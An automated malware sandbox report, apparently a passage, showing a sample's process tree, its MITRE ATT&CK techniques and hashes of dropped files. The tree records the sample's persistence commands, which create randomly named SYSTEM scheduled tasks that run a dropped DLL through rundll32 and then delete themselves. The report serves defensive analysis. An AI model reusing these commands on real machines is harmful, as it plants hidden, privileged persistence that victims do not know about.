C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "FPieTEPPuEmJrhC"2⤵PID:3016
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "FPieTEPPuEmJrhC"2⤵PID:3632
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\zwNtMwO.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1716 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\hjVjOTc.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4836 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\sguRlOY.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:912 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\yGslqDt.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:2060 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 06:40:09 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\dKIWXlKn\rTLpLEM.dll\",#1 /Ndidau 385118" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1424 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "rrqYunoktxOQmCoCX"2⤵PID:1980
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"2⤵PID:4080
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:4824
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\dKIWXlKn\rTLpLEM.dll",#1 /Ndidau 3851181⤵PID:2428
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\dKIWXlKn\rTLpLEM.dll",#1 /Ndidau 3851182⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
PID:2256 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"3⤵PID:3804
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
3Disable or Modify Tools
3Modify Registry
5Pre-OS Boot
1Bootkit
1Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
129B
MD5a526b9e7c716b3489d8cc062fbce4005
SHA12df502a944ff721241be20a9e449d2acd07e0312
SHA256e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
SHA512d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88
-
Filesize
2KB
MD5947d3282819d0df84e2329144ae8bbda
SHA1a39b46205310e5ab72cf43f21e1345a70eac1dfe
SHA256d6562629fd8af73bdae78a340af84cb1212a71ea6aac7a89ab2f8a741403996b
SHA51246332b9eb838cc8082f29bc29eb8dec2282d4afa172e3be7703a7510ee1a81159f9c7c6d3e2dd275452dc7a9d4c18f1494e110e858602eaa36f0a30fbfe9390a
-
Filesize
2KB
MD5e89a6e350f88c4c72b1681df9dc30c8c
SHA12d8a313c5fd2686f316eba0b4099f60c03e39b31
SHA2560a3bec293b10a28ec2306b98726452f3f88c2db5a485eb5c5733a57286d575bf
SHA5127ae20c1e85740de2f80538735551b6025a2522e99665076fec814f6662a0b78bae81f70c3c66b0373fc82e08b75ba582aed8bac3df47e7942df0299702a55fdd
-
Filesize
2KB
MD53a0bc77f83cb19727dd04a34335f8747
SHA108df4d89ca7035c8b769793af7443aff43c74336
SHA256e9d705006f0ad7920175b39f2c5ed8c475c776fbe5732d2ead38d15a24f978dd
SHA512f3d9d7d14f858f1873a7e326e436843f239bacbfbea595d86f00ef0b92adb0e12f995b1342c0a5c948bf8f9cf8c50e6ebfaaa68eb6397cb44b1c5fdd4e1b2955
-
Filesize
2KB
MD5467810fe96edfba101469312affe897a
SHA1405c070dbc77a2fc959b36e04482600a079eeac9
SHA256cd9c68a799911eaedfe802f15a94a7b3ccecaf4040309af7a34937ca9bd9d06f
SHA5128ef88acb36af7ea291cd557b621460e4039e74ff9c24bc11b409f4f1abc79c2631c79b0b8c03589d2f95403d8b9b5c6282fed259d488f61f864d0559b056d7c4
-
Filesize
2.0MB
MD5320ebdeec68f7c3a9558898bf5a70450
SHA12a1e5d0374e37a7ba842a33c361d492bd73c99c1
SHA256189bc6e7f02981368bc446d71782d778b616d634ad776b64101a0258babb3454
SHA512cc2d561cd37d80edd28c5f1fdedcfa058dda163ae536cac34660165ad0bd5ee375fb9a3d7492780ec9d491431b0e19e7829aa638b52cbbcb463b934a4fd17054
-
Filesize
2KB
MD509de2fe484f1f02701083a2a3a1ca67c
SHA1da05222a593f6ecd15dccda9b360f7943b548c10
SHA256406470bcf93c36b33bf1b404b786e20af655e2c85c09402ee2602c475f00019b
SHA51285d68a3c37a710b705a60fb2f0fc4bc457a90ebe00f966f97969840eb0013358cd31d9720aba41b73f0ddba78efce6502a1ea3973289125c8ff14fa1f4842428
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
11KB
MD5a0bec0278293abd48bbce00c0b557f0b
SHA19a3e702e54592084cb6ff4669b5df05d4f5f599e
SHA2567561ebc57043e098985fc736012964899c6b857a83d2b4920b6fa0d8b8956057
SHA51247755f9a3cce149ccdfac2fa24e3e7590ed1e2d11a069567cc6ac89cb76549e27c2d9b0f3204d34a212ab810b61cb0e9102c7255ce673293cc99965f6a993651
-
Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
-
Filesize
1KB
MD5e080d58e6387c9fd87434a502e1a902e
SHA1ae76ce6a2a39d79226c343cfe4745d48c7c1a91a
SHA2566fc482e46f6843f31d770708aa936de4cc32fec8141154f325438994380ff425
SHA5126c112200ef09e724f2b8ab7689a629a09d74db2dcb4dd83157dd048cbe74a7ce5d139188257efc79a137ffebde0e3b61e0e147df789508675fedfd11fcad9ede
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
Filesize151B
MD5bd6b60b18aee6aaeb83b35c68fb48d88
SHA19b977a5fbf606d1104894e025e51ac28b56137c3
SHA256b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
SHA5123500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
-
Filesize
944B
MD5e3840d9bcedfe7017e49ee5d05bd1c46
SHA1272620fb2605bd196df471d62db4b2d280a363c6
SHA2563ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f
SHA51276adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376
-
Filesize
15KB
MD54ac6c254afd21a34ae76997b87abf202
SHA1be000a1f705480f530a14845298d53ef56542ab2
SHA256cf0ad23c8a27c03195eac74fdbf4ba744571693cda6cdcd1760258251e733a51
SHA51217f73cb465a17bcc7c3911fd6288992685c8fca7ca58195d77dec20c944850bbf1794592ff8eed5a45b0c457961811eb5f56d2c59b47cfb963e73a3bc108d244
-
Filesize
11KB
MD55a00794f7dd1b7278e1ca035b7e5ce4d
SHA1d7db0436f675ea5e1e26beb75103d0d2aa08338b
SHA256346f4c750ccb3b5639b095bbecffa53f656a8d1c166f51aef45973c7932f70ed
SHA512c240531d11649b2ade2dd8cbc73d530118cf9b265399fac967b0408acfbe55c5e665beb6c8d17ca05f341323f205336ea56eb9355916cfbb38bd2d9eb2a84a78
-
C:\Users\Admin\AppData\Local\Temp\[email protected]
Filesize656B
MD5184a117024f3789681894c67b36ce990
SHA1c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e
SHA256b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e
SHA512354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7
-
C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini
Filesize830B
MD5e6edb41c03bce3f822020878bde4e246
SHA103198ad7bbfbdd50dd66ab4bed13ad230b66e4d9
SHA2569fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454
SHA5122d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1
-
Filesize
1.0MB
MD5b192f34d99421dc3207f2328ffe62bd0
SHA1e4bbbba20d05515678922371ea787b39f064cd2c
SHA25658f13d919f44d194827b609b6b267246abc47134bb202472c0dfe033b9d7ed73
SHA51200d4c7a0a0097eb4b31a71a0eaf6ff0d44619f77a335c75688565e34e6d7f4fb6c258917457d560c6b0a5077603845ce012e01d9862e87fb5327d7f8da970f95
-
Filesize
6.4MB
MD5220a02a940078153b4063f42f206087b
SHA102fc647d857573a253a1ab796d162244eb179315
SHA2567eb93d93b03447a6bafd7e084305d41bf9780bd415cb2e70020952d06f3d7b60
SHA51242ac563a7c28cbf361bfb150d5469f0278ab87ce445b437eef8425fb779689d70230b550815f30f9db2909c1ba0dd015b172dfe3e718d26706856f4cb0eeeeaa
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
824KB
MD5fc1796add9491ee757e74e65cedd6ae7
SHA1603e87ab8cb45f62ecc7a9ef52d5dedd261ea812
SHA256bf1b96f5b56be51e24d6314bc7ec25f1bdba2435f4dfc5be87de164fe5de9e60
SHA5128fa2e4ff5cbc05034051261c778fec1f998ceb2d5e8dea16b26b91056a989fdc58f33767687b393f32a5aff7c2b8d6df300b386f608abd0ad193068aa9251e0d
-
Filesize
7KB
MD54baa2e0d10a864527c0d34777d86a539
SHA1f19d91fb75af263ba636f4551e3411f0eb0008b2
SHA256baf9105783bdc3df74f11b94cfd244cd788d4825de188bd4fffc673ed5cd88c4
SHA51283108375f9f4e7aac3b9aa24d017c25a333d5e023a216ec508f4287d98e13d95249be51b1b1dda8e80e75493110d9351941d2d32c8ed04be280a00a327a67b95
-
Filesize
1.4MB
MD51a64b8e1849007333f9dbf96615fd5a4
SHA17095e497a8181dd154ac0ab3f0f3c12556cd0af8
SHA25666aa95eb16f05baee9c50b332659180fc2f1324cd187808d97b111b3b66394b4
SHA5121520db3cf30cc36a07a420b98fc90c934bd46afb7149e5a235941be3b8bc7b864fb7bb8a784109ff125d745f6fb6cce6e8846e89403cb4050b3b3ceacd2b8f1b
-
Filesize
7KB
MD577f762f953163d7639dff697104e1470
SHA1ade9fff9ffc2d587d50c636c28e4cd8dd99548d3
SHA256d9e15bb8027ff52d6d8d4e294c0d690f4bbf9ef3abc6001f69dcf08896fbd4ea
SHA512d9041d02aaca5f06a0f82111486df1d58df3be7f42778c127ccc53b2e1804c57b42b263cc607d70e5240518280c7078e066c07dec2ea32ec13fb86aa0d4cb499
-
Filesize
7.1MB
MD500b9649db9135ed17b99f7bbbef540f6
SHA1261a866ca89342acf1bf204b5a52561a2d0c5e30
SHA25647cf4693b68af0f6e05d4fd9b344390be3906fa4b382cb550585277c79bfaf98
SHA512c4aa291985b4d2d091086b9ba043c044fe0802e624699b91c7fb569c4cc65e83bdb90c44a384bb90eb02d158dd876ae0a5d64e353881589f4a01b0d2d5047644
-
Filesize
6.6MB
MD553d14bd638c98c210e391151a8d3bccc
SHA1b3521f13e3c43295dfa291d5b047372ddc3c1a8b
SHA2561fb6d951265c037103aa2165a5cbf19961fd3ef1ff8017e461682b6666ce3898
SHA5120c02d70eb04c5618ccf9ac500bec427cbcd3a26e54567535c0b4b19c8d3ab6b04c8ee893a3e0da7861cfca0c652b330ac682f8eae091b225f2a824723bc5b568
-
Filesize
234KB
MD5e3f23b9ec1f4ac11172e09325c4d5d76
SHA1090e2c47ea2457376c43e0d4f157f5875dd2f6e2
SHA256be08d9893aef56f7ad5e203142489d41d9ec7c6e0bebc9d922cc6c9c9dfb1019
SHA512bf558d6e727ae4d7339bd29751b653f5e9f4d78ed3d90ffa5d7527e9b746eef8df24dab62903ef32a71d6ccb3faab0c819348b0af58dc6e117a68b75c9807cc9
-
Filesize
1.5MB
MD5cd4acedefa9ab5c7dccac667f91cef13
SHA1bff5ce910f75aeae37583a63828a00ae5f02c4e7
SHA256dd0e8944471f44180dd44807d817e0b8a1c931fc67d48278cdb7354d98567e7c
SHA51206fae66da503eb1b9b4fbe63a5bb98c519a43999060029c35fe289e60b1cb126a6278c67ce90f02e05b893fcaea6d54f9deb65bc6da82561487a7754f50c93d1
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize15KB
MD511093108c477628eef3ecb34d07539ac
SHA14c1aad29e92f1ca2713df0c4dc58dba17cb929b1
SHA256a45d3797a671b09ad5c015e3c2455083982c021e58641ec8ca93b044a91d406d
SHA512314a664a09dd0a76f12e3c259d999b024cbc1269b27062fc0c76aa2ad324223b0190b428c805eab02eb5ff6524e2b6a1d7e8edff38719153eee507e22bff3f8c
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize11KB
MD59658d04655484d83e21f64025e6afdd2
SHA157cf3f2db6563e3d1ee5bbfc89ff0311655983e1
SHA256a054d9ba403f09fd6d4c3c64701a51432b5fb9c4ba0d677f7acb7c2dafc6a68e
SHA5127b979380679b7cef7cecd97123f2850dcb687d091efe6b20930c9e7409ac7717de812266a6e8fcbe2d076f971026b7be397767a397e9a529847d2f61741e682c
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize11KB
MD5e4f274af629901466db3ef72668daad9
SHA1e774fe81545d87e561781eaf6c4a09aa6cf1aea5
SHA25627a5d963b7b8f971b3814b824a3fccd8fda8d7ba1341e995e7be05fc7927c5c8
SHA5127fe00c4bc9f14b917403125b69f41bcb01c70037fc77c3d581adadd25c53e2ae54543f3df39bd674117e476901872d2273b42e47637f7d122ee71727da6184c4
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize15KB
MD541c4d9fd0a3f1dc0240bd9292808c2e8
SHA1fd4aaac3944d59a74881a0700d2bfe75f618bd39
SHA2569f6b2171aa651225be605c2a74858e1c6e24c97e6a9ebaa807afe6f21a8f23ba
SHA512d96a79d0012dfde6388b07e881d12569314b187358c1a463f3f421150273ddf14c4934acd220d70ae4aacec1e6ba6fbddf2655305eaf74aed8434ad42c038b5b
-
Filesize
127B
MD58ef9853d1881c5fe4d681bfb31282a01
SHA1a05609065520e4b4e553784c566430ad9736f19f
SHA2569228f13d82c3dc96b957769f6081e5bac53cffca4ffde0ba1e102d9968f184a2
SHA5125ddee931a08cfea5bb9d1c36355d47155a24d617c2a11d08364ffc54e593064011dee4fea8ac5b67029cab515d3071f0ba0422bb76af492a3115272ba8feb005
-
Filesize
6.4MB
MD51b6f605e52d8d5a8af93f68a4d95d242
SHA1e363d00b83fae91a5c96a050269a2d3ad875e371
SHA256eea74134d0dba14e77cb5400922724de84fcda62f54b9adc86b161dda730626d
SHA5123656d3297ed181f9d44e2f10158e0bb7ba7ff9f90f092bba5b4ff97319e2125a50f3155064bf8d26c588d1c2e90e1ff236b9c4e2a01e2ce02d8a47f53a15c040
-
Filesize
1KB
MD5cdfd60e717a44c2349b553e011958b85
SHA1431136102a6fb52a00e416964d4c27089155f73b
SHA2560ee08da4da3e4133e1809099fc646468e7156644c9a772f704b80e338015211f
SHA512dfea0d0b3779059e64088ea9a13cd6b076d76c64db99fa82e6612386cae5cda94a790318207470045ef51f0a410b400726ba28cb6ecb6972f081c532e558d6a8
-
Filesize
8KB
MD59ef3a5da486ecf6f1cba6be369aa8671
SHA119d8bf295294bf5d8869f6ee7f5d7a76fb2bba2e
SHA256774af9687e91b6c4507aaefe4493926403cea01c08ae280ddb6eb335454e5fe2
SHA5122dbb04a05d3673ac5d81f67133e77e8990cc20984cea44d006daed42e060b968ba0022803d54d69b07bc51a0c954b4b085d18ee844d6c28d0e402030b4f174c7
-
Filesize
268B
MD5a62ce44a33f1c05fc2d340ea0ca118a4
SHA11f03eb4716015528f3de7f7674532c1345b2717d
SHA2569f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA5129d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732